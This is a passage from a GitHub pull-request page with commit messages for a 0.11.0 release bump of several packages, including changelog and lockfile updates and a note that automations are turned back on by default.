(#985), reversing the CEZ_AUTOMATIONS=1 opt-in from #802.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GegafinbvuqMr956RzSwvS
pat-lewczuk added a commit that referenced this pull request Sep 15, 2026
Stamps the release set (contract, api-client, cezar, web, alias-cezar) and the
lockfile 0.10.1 -> 0.11.0, rewrites the intra-release ^0.10.1 ranges to ^0.11.0,
and cuts the 0.11.0 CHANGELOG.md entry for the 18 PRs merged since v0.10.1.

Minor bump with one breaking change: automations flip back to on by default
(#985), reversing the CEZ_AUTOMATIONS=1 opt-in from #802.


Claude-Session: https://claude.ai/code/session_01GegafinbvuqMr956RzSwvS

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ci-monitoring feature New capability merge-queue Approved, ready to merge needs-qa Requires manual QA before merge priority-medium Ordinary bug or feature risk-high Wide blast radius, review deeply

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants